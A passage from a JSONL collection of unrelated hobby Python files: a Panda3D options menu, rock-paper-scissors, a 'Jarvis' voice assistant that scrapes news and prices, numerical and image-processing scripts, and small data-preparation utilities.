retrieved!')\n","repo_name":"mistaAych/test","sub_path":"ms_azure.py","file_name":"ms_azure.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25734340503","text":"from panda3d.core import TextNode\nfrom direct.gui.DirectGui import (\n DirectFrame,\n DirectLabel,\n DirectRadioButton,\n DirectButton,\n DirectSlider,\n DGG,)\nfrom direct.gui.DirectCheckBox import DirectCheckBox\n\nclass OptionsMenu():\n def __init__(self):\n self.frameMain = DirectFrame(\n image=\"optionsmenu.png\",\n image_scale=(1.7778, 1, 1),\n frameSize=(\n base.a2dLeft, base.a2dRight,\n base.a2dBottom, base.a2dTop),\n frameColor=(0, 0, 0, 0))\n self.frameMain.setTransparency(True)\n\n volume = base.musicManager.getVolume()\n self.sliderMusicVolume = DirectSlider(\n scale=0.5,\n pos=(0, 0, -0.1),\n range=(0, 1),\n scrollSize=0.01,\n text=\"Music Volume: %d%%\" % volume*100,\n text_scale=0.15,\n text_align=TextNode.ACenter,\n text_pos=(.0, 0.15),\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n thumb_frameColor=(0.8, 0, 1, 0.75),\n thumb_relief=DGG.FLAT,\n frameColor=(0.25, 0.25, 0.55, 1),\n value=volume,\n command=self.sliderMusicVolume_ValueChanged)\n self.sliderMusicVolume.reparentTo(self.frameMain)\n\n volume = base.sfxManagerList[0].getVolume()\n self.sliderSFXVolume = DirectSlider(\n scale=0.5,\n pos=(0, 0, -0.3),\n range=(0, 1),\n scrollSize=0.01,\n text=\"SFX Volume: %d%%\" % volume*100,\n text_scale=0.15,\n text_align=TextNode.ACenter,\n text_pos=(.0, 0.15),\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n thumb_frameColor=(0.8, 0, 1, 0.75),\n thumb_relief=DGG.FLAT,\n frameColor=(0.25, 0.25, 0.55, 1),\n value=volume,\n command=self.sliderSFXVolume_ValueChanged)\n self.sliderSFXVolume.reparentTo(self.frameMain)\n\n isChecked = not base.AppHasAudioFocus\n img = None\n imgON = \"AudioSwitch_on.png\"\n imgOFF = \"AudioSwitch_off.png\"\n if base.AppHasAudioFocus:\n img = imgON\n else:\n img = imgOFF\n self.cbVolumeMute = DirectCheckBox(\n scale=0.5,\n text=\"Mute Audio\",\n text_scale=0.15,\n text_align=TextNode.ACenter,\n text_pos=(0.0, 0.15),\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n pos=(0, 0, -0.5),\n command=self.cbVolumeMute_CheckedChanged,\n rolloverSound=None,\n clickSound=None,\n relief=None,\n pressEffect=False,\n isChecked=isChecked,\n image=img,\n image_scale=0.1,\n checkedImage=imgOFF,\n uncheckedImage=imgON)\n self.cbVolumeMute.setTransparency(True)\n self.cbVolumeMute.setImage()\n self.cbVolumeMute.reparentTo(self.frameMain)\n\n radio = base.loader.loadModel(\"radioBtn\")\n radioGeom = (radio.find(\"**/RadioButtonReady\"),\n radio.find(\"**/RadioButtonChecked\"))\n\n self.lblDifficulty = DirectLabel(\n text=\"Difficulty\",\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n text_scale=0.6,\n scale=0.15,\n frameColor=(0, 0, 0, 0),\n pos=(-0.5, 0, -0.6))\n self.lblDifficulty.reparentTo(self.frameMain)\n self.difficulty = [base.difficulty]\n def createDifficultyDRB(self, text, value, initialValue, xPos):\n drb = DirectRadioButton(\n text=text,\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n variable=self.difficulty,\n value=value,\n indicatorValue=initialValue,\n boxGeom=radioGeom,\n boxGeomScale = 0.5,\n #indicator_pad = (0.1, 0.1),\n scale=0.05,\n frameColor=(0.5,0.5,0.5,1),\n pressEffect=False,\n relief=1,\n pad=(0.5, 0, 0.5, 0.5),\n pos=(xPos, 0, -0.6),\n command=self.rbDifficulty_ValueChanged)\n drb.indicator.setX(drb.indicator.getX() + 0.1)\n drb.indicator.setZ(drb.indicator.getZ() + 0.1)\n drb.reparentTo(self.frameMain)\n return drb\n self.difficultyButtons = [\n createDifficultyDRB(\n self, \"Easy\", [0],\n 1 if base.difficulty == 0 else 0,\n 0.5-0.3),\n createDifficultyDRB(\n self, \"Medium\", [1],\n 1 if base.difficulty == 1 else 0,\n 0.5),\n createDifficultyDRB(\n self, \"Hard\", [2],\n 1 if base.difficulty == 2 else 0,\n 0.5+0.3)\n ]\n for button in self.difficultyButtons:\n button.setOthers(self.difficultyButtons)\n\n self.btnBack = DirectButton(\n text=\"Back\",\n scale=0.15,\n text_pos=(-0.3, -0.2),\n text_scale=0.6,\n text_fg=(240/255.0,255/255.0,240/255.0,1),\n frameColor=(0, 0, 0, 0),\n image=(\"btnExit.png\", \"btnExit_hover.png\", \"btnExit_hover.png\", \"btnExit_hover.png\"),\n image_scale=(1, 1, 0.5),\n pos=(0, 0, -0.8),\n command=base.messenger.send,\n extraArgs=[\"menu_Back\"])\n self.btnBack.setTransparency(True)\n self.btnBack.reparentTo(self.frameMain)\n\n self.hide()\n\n def show(self):\n self.frameMain.show()\n\n def hide(self):\n self.frameMain.hide()\n\n def cbVolumeMute_CheckedChanged(self, checked):\n if checked:\n base.disableAllAudio()\n else:\n base.enableAllAudio()\n\n def sliderMusicVolume_ValueChanged(self):\n volume = round(self.sliderMusicVolume[\"value\"], 2)\n self.sliderMusicVolume[\"text\"] = \"Music Volume: %d%%\" % int(volume * 100)\n base.musicManager.setVolume(volume)\n\n def sliderSFXVolume_ValueChanged(self):\n volume = round(self.sliderSFXVolume[\"value\"], 2)\n self.sliderSFXVolume[\"text\"] = \"SFX Volume: %d%%\" % int(volume * 100)\n base.sfxManagerList[0].setVolume(volume)\n\n def rbDifficulty_ValueChanged(self):\n base.difficulty = self.difficulty[0]\n","repo_name":"Asher-1/pythonGames","sub_path":"CreateApplications/pyweek/bouncer/optionsmenu.py","file_name":"optionsmenu.py","file_ext":"py","file_size_in_byte":6300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8239457380","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 29 15:55:33 2022\n\n@author: msa\n\"\"\"\n# Q2. Print the number of each gender in each group.\ndef q2() :\n genders = [ 'F' , 'F' , 'M' , 'M' , 'F' , 'M' , 'F' , 'F' , 'M' , 'M' ]\n groups = [ 3 , 1 , 1 , 3 , 3 , 1 , 2 , 2 , 1 , 3 ,3] \n \n new_dict = {1: {'F': 0, 'M': 0}, 2: {'F': 0, 'M': 0}, 3: {'F': 0, 'M': 0}}\n \n for gd, gp in zip(genders, groups):\n new_dict[gp][gd] += 1\n \n print(new_dict)\nif __name__ == '__main__' :\n q2()","repo_name":"MohamedSidiAbdallard/Python_Application_lists_and_dictionaries_Analysis_of_school-_results","sub_path":"Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29221102363","text":"# PROJECT 4\n\n# ROCK PAPER SCISSORS\n\nimport random\n\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\n\nsymbols = [rock,paper,scissors]\n\nyour_choice = int(input('What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors\\n'))\n\nif your_choice < 0 or your_choice > 2:\n print('Invalid choice!!!')\n exit()\n\nprint('You Choice:-')\nprint(symbols[your_choice])\n\ncomputers_choice = random.randint(0,2)\nprint(\"\\n\\nComputer's Choice:-\")\nprint(symbols[computers_choice])\n\nif your_choice == computers_choice:\n print('Game Tied!!!, try Again!!!')\n\nelif your_choice == 0 and computers_choice == 2:\n print('Hurray!!!, You Won!!!')\n\nelif your_choice == 1 and computers_choice == 0:\n print('Hurray!!!, You Won!!!')\n\nelif your_choice == 2 and computers_choice == 1:\n print('Hurray!!!, You Wonn!!!')\n\nelse:\n print('Soory, You Lost!!!')","repo_name":"niktipaul/100DaysOfPython","sub_path":"Day_4/07_proj_4_rock_paper_scissors.py","file_name":"07_proj_4_rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4966832968","text":"from speech import take\r\nfrom wish import wishme\r\nfrom speek import sp\r\nfrom chatbot import chatty\r\nimport wikipedia\r\nimport webbrowser\r\nimport os\r\nimport random\r\nimport datetime\r\nfrom bs4 import BeautifulSoup as soup\r\nfrom urllib.request import urlopen\r\nimport smtplib\r\nimport socket \r\nimport subprocess \r\nimport texttable as tt\r\nimport requests\r\nimport pandas as pd \r\nfrom nsetools import Nse \r\nimport platform\r\nimport phonenumbers \r\nfrom phonenumbers import geocoder , carrier \r\n\r\n\r\nf = open(\"password.txt\", \"r\")\r\npassword = f.read()\r\n\r\npulkit = {\r\n \"name\" : \"Enter your name \",\r\n \"email\" : \"Enter your mail here\",\r\n}\r\n\r\ndef zodiac_sign(day, month): \r\n if month == 'december': \r\n astro_sign = 'Sagittarius' if (day < 22) else 'capricorn' \r\n elif month == 'january': \r\n astro_sign = 'Capricorn' if (day < 20) else 'aquarius' \r\n elif month == 'february': \r\n astro_sign = 'Aquarius' if (day < 19) else 'pisces' \r\n elif month == 'march': \r\n astro_sign = 'Pisces' if (day < 21) else 'aries' \r\n elif month == 'april': \r\n astro_sign = 'Aries' if (day < 20) else 'taurus' \r\n elif month == 'may': \r\n astro_sign = 'Taurus' if (day < 21) else 'gemini' \r\n elif month == 'june': \r\n astro_sign = 'Gemini' if (day < 21) else 'cancer' \r\n elif month == 'july': \r\n astro_sign = 'Cancer' if (day < 23) else 'leo' \r\n elif month == 'august': \r\n astro_sign = 'Leo' if (day < 23) else 'virgo' \r\n elif month == 'september': \r\n astro_sign = 'Virgo' if (day < 23) else 'libra' \r\n elif month == 'october': \r\n astro_sign = 'Libra' if (day < 23) else 'scorpio' \r\n elif month == 'november': \r\n astro_sign = 'scorpio' if (day < 22) else 'sagittarius' \r\n print(\"jarvis:\"+astro_sign) \r\n sp(astro_sign)\r\n\r\ndef getdata(url): \r\n r = requests.get(url) \r\n return r.text \r\n\r\ndef main():\r\n wishme()\r\n while(True):\r\n query = take().lower()\r\n if \"None\" not in query:\r\n value = chatty(query)\r\n if value is not None:\r\n print(\"jarvis : \"+ value)\r\n sp(value)\r\n else:\r\n if \"search\" in query:\r\n try:\r\n sp(\"searching....\")\r\n result = wikipedia.summary(query,sentences=1)\r\n print(\"Jarvis: \"+result)\r\n sp(result)\r\n except Exception :\r\n sp(\"soory i didn't find anything try again\")\r\n\r\n elif \"open\" in query:\r\n chrome_path =\" C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s\"\r\n query = query.replace(\"open\",\"\")\r\n res = query.split()\r\n for i in res:\r\n if \".com\" in i:\r\n sp(\"sure sir\")\r\n webbrowser.get(chrome_path).open(i)\r\n\r\n elif \"calculate\" in query:\r\n query = query.replace(\"into\",\"*\")\r\n query = query.replace(\"multiply\",\"*\")\r\n query = query.replace(\"divide\",\"/\")\r\n query = query.replace(\"by\",\"/\")\r\n res = query.split()\r\n temp = []\r\n for i in res:\r\n if i.isdigit() or '+'in i or \"*\" in i or '-' in i or '/' in i:\r\n temp.append(i)\r\n answer = ''.join(temp) \r\n ans = eval(answer)\r\n print(\"jarvis: the answer is \"+ str(ans))\r\n sp(\"the answe is \"+ str(ans))\r\n\r\n elif 'play music' in query:\r\n music_dir = \"F:\\\\Playlist\"\r\n songs = os.listdir(music_dir)\r\n song = random.choice(songs)\r\n os.startfile(os.path.join(music_dir,song))\r\n\r\n elif \"the time\" in query:\r\n time = datetime.datetime.now().strftime(\"%H:%m:%S\")\r\n print(\"jarvis: the time is \"+ str(time))\r\n sp(\"sir the time is \"+ str(time))\r\n\r\n elif \"want to say something\" in query:\r\n print(\"jarvis: please like the video subsribe Pulkit py.\")\r\n sp(\"please like the video and subsribe Pulkit py\")\r\n\r\n elif \"latest news\" in query:\r\n root = urlopen(\"https://news.google.com/news/rss\")\r\n xmlpage = root.read()\r\n root.close()\r\n page = soup(xmlpage,'xml')\r\n news = page.findAll(\"item\")\r\n stop = 1\r\n for new in news:\r\n print(\"jarvis:\"+new.title.text)\r\n sp(new.title.text)\r\n print(new.pubDate.text)\r\n print('-'*60)\r\n print('\\n')\r\n if stop == 2:\r\n break\r\n stop = stop + 1\r\n\r\n elif \"send mail\" in query:\r\n s = smtplib.SMTP('smtp.gmail.com',587)\r\n s.starttls()\r\n s.login(pulkit[\"email\"],password)\r\n sp(\"Please type the email-id\")\r\n reciver_emai = input(\"Email-id :\")\r\n sp(\"Please type the Message \")\r\n message = input(\"send message :\")\r\n s.sendmail(pulkit[\"email\"],reciver_emai,message)\r\n s.quit()\r\n print(\"Jarvish: email Send to\"+reciver_emai)\r\n sp(\"email Send to\"+reciver_emai)\r\n\r\n elif \"astro sign\" in query:\r\n sp(\"Please enter the Date you born\")\r\n day = int(input(\"day \"))\r\n sp(\"Please enter the month you born\")\r\n month = input(\"month \")\r\n zodiac_sign(day, month) \r\n\r\n elif \"get my ip\" in query:\r\n try: \r\n host_name = socket.gethostname() \r\n host_ip = socket.gethostbyname(host_name)\r\n print(\"Hostname : \",host_name) \r\n print(\"IP : \",host_ip) \r\n sp(\"Hostname : \"+host_name)\r\n sp(\"IP : \"+host_ip) \r\n except: \r\n print(\"Unable to get Hostname and IP\") \r\n\r\n elif \"available wi-fi\" in query:\r\n devices = subprocess.check_output(['netsh','wlan','show','network']) \r\n devices = devices.decode('ascii') \r\n devices = devices.replace(\"\\r\",\"\") \r\n sp(\"Here is the result.\")\r\n print(devices)\r\n\r\n elif \"covid case\" in query:\r\n url = 'https://www.worldometers.info/coronavirus/countries-where-coronavirus-has-spread/'\r\n page = requests.get(url) \r\n case = soup(page.text, 'html.parser') \r\n data = [] \r\n data_iterator = iter(case.find_all('td')) \r\n while True: \r\n try: \r\n country = next(data_iterator).text \r\n confirmed = next(data_iterator).text \r\n deaths = next(data_iterator).text \r\n continent = next(data_iterator).text \r\n data.append(( \r\n country, \r\n confirmed.replace(', ', ''), \r\n deaths.replace(', ', ''), \r\n continent \r\n )) \r\n except StopIteration: \r\n break\r\n data.sort(key = lambda row: row[1], reverse = True)\r\n table = tt.Texttable() \r\n table.add_rows([(None, None, None, None)] + data) \r\n table.set_cols_align(('c', 'c', 'c', 'c'))\r\n table.header((' Country ', ' Number of cases ', ' Deaths ', ' Continent ')) \r\n sp(\"Data is here\")\r\n print(table.draw()) \r\n\r\n elif \"covid vaccine\" in query:\r\n r = requests.get(\"https://covid-19tracker.milkeninstitute.org/\") \r\n htmldata = r.text \r\n data = soup(htmldata, 'html.parser') \r\n result = str(data.find_all(\"div\", class_=\"is_h5-2 is_developer w-richtext\")) \r\n sp(\"Top 5 results are\")\r\n print(\"NO 1 \" + result[46:86]) \r\n print(\"NO 2 \"+result[139:226]) \r\n print(\"NO 3 \"+result[279:305]) \r\n print(\"NO 4 \"+result[358:375]) \r\n print(\"NO 5 \"+result[428:509]) \r\n\r\n elif \"show fuel price\" in query:\r\n htmldata = getdata(\"https://www.goodreturns.in/petrol-price.html\") \r\n data = soup(htmldata, 'html.parser') \r\n mydatastr = '' \r\n result = [] \r\n for table in data.find_all('tr'): \r\n mydatastr += table.get_text() \r\n mydatastr = mydatastr[1:] \r\n itemlist = mydatastr.split(\"\\n\\n\") \r\n for item in itemlist[:-5]: \r\n result.append(item.split(\"\\n\")) \r\n df = pd.DataFrame(result[:-8]) \r\n sp(\"Here is the result.\")\r\n print(df) \r\n\r\n elif \"stock price\" in query:\r\n nse = Nse() \r\n sp(\"please enter company symbol\")\r\n code = input(\"company symbol \")\r\n quote = nse.get_quote(code) \r\n value = quote['averagePrice'] \r\n print(\"Average Price : \" + str(value))\r\n sp(\"Average Price \" + str(value)) \r\n \r\n elif \"play youtube song\" in query:\r\n url = 'https://www.youtube.com/watch?v=gTZOLaaQihs&t=579s'\r\n chrome_path =\" C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s\"\r\n sp(\"Playing youtube video\")\r\n webbrowser.get(chrome_path).open(url)\r\n\r\n elif \"computer details\" in query:\r\n my_system = platform.uname()\r\n sp(\"System information is here \")\r\n print(f\"System: {my_system.system}\")\r\n print(f\"Node Name: {my_system.node}\")\r\n print(f\"Release: {my_system.release}\")\r\n print(f\"Version: {my_system.version}\")\r\n print(f\"Machine: {my_system.machine}\")\r\n print(f\"Processor: {my_system.processor}\")\r\n\r\n elif \"phone number\" in query:\r\n sp(\"Plese type mobile number\")\r\n phone_number = phonenumbers.parse(input(\"Number with country code : \")) \r\n country = geocoder.description_for_number(phone_number,'en')\r\n provider = carrier.name_for_number(phone_number,'en')\r\n print(country) \r\n print(provider) \r\n sp(\"This Number belong to \"+country+\"And the provider is\" + provider)\r\n\r\n elif \"system information\" in query:\r\n data = subprocess.check_output(['ipconfig','/all']).decode('utf-8').split('\\n') \r\n sp(\"System information is here \")\r\n for item in data: \r\n print(item.split('\\r')[:-1])\r\n elif \"job for me\" in query:\r\n res = '' \r\n htmldata = getdata(\"https://www.sarkariresult.com/latestjob.php\") \r\n result = soup(htmldata, 'html.parser') \r\n for li in result.find_all(\"div\", id=\"post\"): \r\n res += (li.get_text()) \r\n print(res) \r\n sp(\"Check all the job\")\r\n\r\n elif \"stop\" in query:\r\n sp(\"bye bye sir\")\r\n break\r\n else:\r\n sp(\"can you speek again \")\r\nmain()\r\n\r\n ","repo_name":"Pulkit-Py/jarvis-2.0","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"41882036591","text":"import numpy as np\n\nn = 3\n\nindex = -1\n\nerr_tol = 10^(-8)\n\nmax_iters = 10^(5)\n\nA = np.array([[2.0, 3.0, 4.0],\n [7.0, -1.0, 3.0],\n [1.0, -1.0, 5.0]])\n\nx0 = np.random.rand(n, 1)\n\nlam = np.zeros(max_iters)\n\n\nmax_x = max(abs(x0))\n\nz = x0/max_x\n\nprint(z)\n\nif index == -1:\n spec_vec = np.random.rand(n,1)\n\nerror = 1000\n\nit_count = 0\n\nwhile abs(error) > err_tol and it_count < max_iters:\n w = np.dot(A, z)\n\n max_w = max(abs(w))\n\n if index == -1:\n lam[it_count] = (spec_vec.transpose() @ w)/(spec_vec.transpose() @ z)\n\n else:\n lam[it_count] = w[index]/z[index]\n\n if it_count > 0:\n error = lam[it_count] - lam[it_count - 1]\n\n z = w/max_w\n final_lambda = lam[it_count]\n\n it_count += 1\n\nprint(z)\nprint(final_lambda)\n\nprint(np.dot(final_lambda, z))\n\nprint(np.dot(A, z))","repo_name":"ChrisHayduk/Numerical-Analysis","sub_path":"Homework/Homework 9/power_method.py","file_name":"power_method.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24836047214","text":"import JPEGCompression as jpeg\nimport cv2 as cv\nimport imageForms2 as iF\n\nif __name__ == \"__main__\":\n filename = \"usb_32x32.png\"\n img = cv.imread(filename)\n imgYcc =cv.cvtColor(img, cv.COLOR_BGR2YCrCb)\n imgChannelY, imgChannelCb, imgChannelCr = cv.split(imgYcc)\n comp=100\n imgChannelC = cv.resize(img, None, fx=0.5, fy=1, interpolation=cv.INTER_AREA)\n\n for x in range(0, imgChannelY.shape[0], 8):\n for y in range(0, imgChannelY.shape[1], 8):\n imgChannelBlock = imgChannelY[x: x+8, y: y+8]\n result = jpeg.blockProcessing(imgChannelBlock, luminanceOrChrominance=1, compFactor=comp)\n imgChannelY[x:x+8, y:y+8] = result\n\n for x in range(0, imgChannelCb.shape[0], 8):\n for y in range(0, imgChannelCb.shape[1], 8):\n imgChannelBlock = imgChannelCb[x: x+8, y: y+8]\n result = jpeg.blockProcessing(imgChannelBlock, luminanceOrChrominance=0, compFactor=comp)\n imgChannelCb[x:x+8, y:y+8] = result\n\n for x in range(0, imgChannelCr.shape[0], 8):\n for y in range(0, imgChannelCr.shape[1], 8):\n imgChannelBlock = imgChannelCr[x: x+8, y: y+8]\n result = jpeg.blockProcessing(imgChannelBlock, luminanceOrChrominance=0, compFactor=comp)\n imgChannelCr[x:x+8, y:y+8] = result\n\n imgChannelC = cv.resize(img, None, fx=2, fy=1, interpolation=cv.INTER_AREA)\n result = cv.merge((imgChannelY, imgChannelCr, imgChannelCb))\n result = cv.cvtColor(result, cv.COLOR_YCrCb2RGB)\n iF.showSideBySideImages(img, result, \"jpeg\", False, False)\n","repo_name":"johnny0111/TAPDI","sub_path":"Aula2/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34684371311","text":"import requests\nimport time\n\nservers = [\"maria.ru\", \"rose.ru\", \"sina.ru\"]\ninterval = 60 # Интервал опроса в секундах\n\nwhile True:\n current_time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n for server in servers:\n url = f\"http://{server}/api/count\"\n try:\n response = requests.get(url)\n if response.status_code == 200:\n data = response.json()\n count = data[\"count\"]\n print(f\"{current_time} {server} {count}\")\n else:\n print(f\"{current_time} {server} Error: {response.status_code}\")\n except requests.exceptions.RequestException as e:\n print(f\"{current_time} {server} Error: {e}\")\n time.sleep(interval)\n","repo_name":"DanyaSh/maria_rose_sina","sub_path":"maria_rose_sina.py","file_name":"maria_rose_sina.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12571140232","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n@Author: yangwenhao\n@Contact: 874681044@qq.com\n@Software: PyCharm\n@File: make_voxceleb.py\n@Time: 2019/3/16 下午2:48\n@Overview:\ndata dir structure:\n /data/voxceleb/voxceleb1_wav/vox1_test_wav/wav/id10309/vobW27_-JyQ/00015.wav\nproduce files:\n spk2utt: spkid filepath\n utt2spk: produced by *.sh script\n wav.scp: uttid filepath\n\"\"\"\nimport os\nimport csv\n\ndef prep_id_idname(meta_path):\n id_idname = {}\n with open(meta_path) as f:\n meta_file = csv.reader(f)\n for row in meta_file:\n if meta_file.line_num > 1:\n (id,idname,gender,country,set) = row[0].split('\\t')\n id_idname[id] = idname\n return id_idname\n\ndef prep_u2s_ws(flistpath, id_idname, out_dir):\n uid2scp = []\n uid2idname = []\n if not os.path.exists(out_dir):\n os.mkdir(out_dir)\n with open(flistpath) as f:\n for line in f.readlines():\n # id11251/s4R4hvqrhFw/00006.wav\n id = line[-30:-23]\n rec_id = line[-22:-11]\n wav_name = line[-9:-1]\n uid = str(id) + '-' +str(rec_id) + '-' + str(wav_name)\n uid2scp.append((uid, line))\n uid2idname.append((uid, id_idname[id]))\n\n with open(out_dir, 'wav.scp','w') as f:\n for e in uid2scp:\n f.writelines(str(e[0]) + ' ' + str(e[1]))\n\n with open(out_dir, 'utt2spk','w') as f:\n for e in uid2idname:\n f.writelines(str(e[0]) + ' ' + str(e[1]) + '\\n')\n\ntrain_set_path = '/data/voxceleb/voxceleb1_wav/vox1_dev_wav/'\ntest_set_path = '/data/voxceleb/voxceleb1_wav/vox1_test_wav/'\n\ntrain_flist_path = os.path.join(train_set_path, 'wav.flist')\ntest_flist_path = os.path.join(test_set_path, 'wav.flist')\n\nid_idname_set = prep_id_idname('data/vox1_meta.csv')\nprep_u2s_ws(train_flist_path, id_idname_set, 'data/voxceleb1_train')\nprep_u2s_ws(test_flist_path, id_idname_set, 'data/voxceleb1_test')","repo_name":"Wenhao-Yang/PythonLearning","sub_path":"PythonProgramDesign/make_voxceleb.py","file_name":"make_voxceleb.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"74849585710","text":"import matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\n\n\ndef pipeline(img):\n # grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n # sobelx\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, 3)\n sobelx_abs = np.absolute(sobelx)\n sobelx_8bit = np.uint8(255 * sobelx_abs / np.max(sobelx))\n sobelx_binary = np.zeros_like(sobelx_8bit)\n sobelx_binary[(sobelx_8bit > 10) & (sobelx_8bit <= 100)] = 1\n # HSV channel\n HSV = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n H, S, V = HSV[:, :, 0], HSV[:, :, 1], HSV[:, :, 2]\n S_binary = np.zeros_like(S)\n S_binary[(S > 170) & (S <= 255)] = 1\n # combine S and sobelx\n resultant = np.zeros_like(sobelx_binary)\n resultant[(sobelx_binary == 1) | (S_binary == 1)] = 1\n # visualization\n f, ax_array = plt.subplots(3, 1, figsize=(7, 7))\n f.tight_layout()\n ax_array[0].set_title(\"sobelx\"), ax_array[0].imshow(sobelx_binary, cmap=\"gray\")\n ax_array[1].set_title(\"S channel\"), ax_array[1].imshow(S_binary, cmap=\"gray\")\n ax_array[2].set_title(\"Resultant\"), ax_array[2].imshow(resultant, cmap=\"gray\")\n plt.show()\n\n\n__ = mpimg.imread(\"/Users/siddiqui/Downloads/test6.jpg\")\npipeline(__)\n","repo_name":"aurangzaib/self-drive-car","sub_path":"advanced-lane-and-vehicle-detection/lane_detection_pipeline.py","file_name":"lane_detection_pipeline.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"1948308713","text":"from sips.macros import sports_ref as sref\nfrom sips.h import grab\nfrom sips.h import parse\n\ntable_ids = [\n \"coaching_results\",\n \"coaching_ranks\",\n \"coaching_history\",\n \"challenge_results\",\n \"worked_for\",\n \"employed\",\n]\n\n\ndef coaches_summary(to_pd=True):\n coaches = grab.get_table(sref.NFL_URL + \"coaches/\", [\"coaches\"], to_pd=to_pd)\n return coaches\n\n\ndef coach_links():\n coaches_html = coaches_summary(to_pd=False)\n coach_urls = parse.links(coaches_html, prefix=sref.NFL_URL)\n return coach_urls\n\n\nif __name__ == \"__main__\":\n ls = coach_links()\n print(ls)\n","repo_name":"anandijain/sips","sub_path":"sips/sportsref/nfl_ref/coaches.py","file_name":"coaches.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"30590290847","text":"import tkinter\n\n#Creating a window\nwindow = tkinter.Tk()\nwindow.title(\"Mile to Kilometer Project\")\nwindow.minsize(height=200,width=400)\nwindow.config(padx=100,pady=25)\n\n#Creating An Entry\ninput = tkinter.Entry(width=20)\ninput.grid(row=0,column=1)\n\n#Creating Miles Label\nmiles = tkinter.Label(text=\"Miles\")\nmiles.grid(row=0,column=2)\nmiles.config(padx=10)\n\n#Function for converting miles to kilometer\ndef converter():\n my_miles = input.get()\n if my_miles != '':\n return label_1.config(text =f\"is equal to {round(1.609*float(my_miles),2)} Km\")\n\n\n#Button to calculate\ncalculate = tkinter.Button(text= \"Calculate\", command = converter)\ncalculate.grid(row=2,column=1,pady=10)\n\n#Label\nlabel_1 = tkinter.Label(text=f\"is equal to 0 Km\")\nlabel_1.grid(row=3,column=1,pady=20)\n\nwindow.mainloop()\n\n\n\n\n","repo_name":"Sahil-Naik7602/tkinter","sub_path":"mile_to_kilometers.py","file_name":"mile_to_kilometers.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"38378798482","text":"from odoo import api, fields, models\n\n\nclass GeneralLedgerReport(models.TransientModel):\n _inherit = \"report_general_ledger\"\n\n hide_partner_without_moves = fields.Boolean()\n\n @api.multi\n def compute_data_for_report(self, with_line_details=True, with_partners=True):\n super(GeneralLedgerReport, self).compute_data_for_report(\n with_line_details, with_partners\n )\n if self.hide_partner_without_moves:\n self.env[\"report_general_ledger_partner\"].search(\n [(\"move_line_ids\", \"=\", False)]\n ).unlink()\n","repo_name":"qrtl/asx-custom","sub_path":"account_financial_report_extended/report/general_ledger.py","file_name":"general_ledger.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"5261845424","text":"def maximo(x,y,z):\n if x >= y and x >= z:\n print(\"El mas grande es \")\n return x\n elif y >= x and y >= z:\n print(\"El mas grande es \")\n return y\n else:\n print(\"El mas grande es \")\n return z\n\nprint(maximo(444,55,45))\nes_hombre = True\nis_tall = False\n\nif es_hombre and is_tall:\n print(\"Eres hombre alto\")\nelif es_hombre and not(is_tall):\n print(\"Eres un chaparro\")\nelif not(es_hombre) and is_tall:\n print(\"Eres una mujer alta\")\nelse:\n print(\"Eres mujer chaparra\")\n\n","repo_name":"AlejandroNav/tutoriales-python","sub_path":"statements.py","file_name":"statements.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28473239414","text":"\"\"\"\nThis file contains functions to read in country data and to read in the \nsocial network data\n\"\"\"\n\nimport csv\n\ndef edges_table_reader(filename, seperator):\n \"\"\"\n import the data an edges table with nodes and edges\n Also returns a lookup table by which edges could be combined with their\n country names\n \"\"\"\n edges_table = {}\n lookup_table = {}\n # open a file to read it 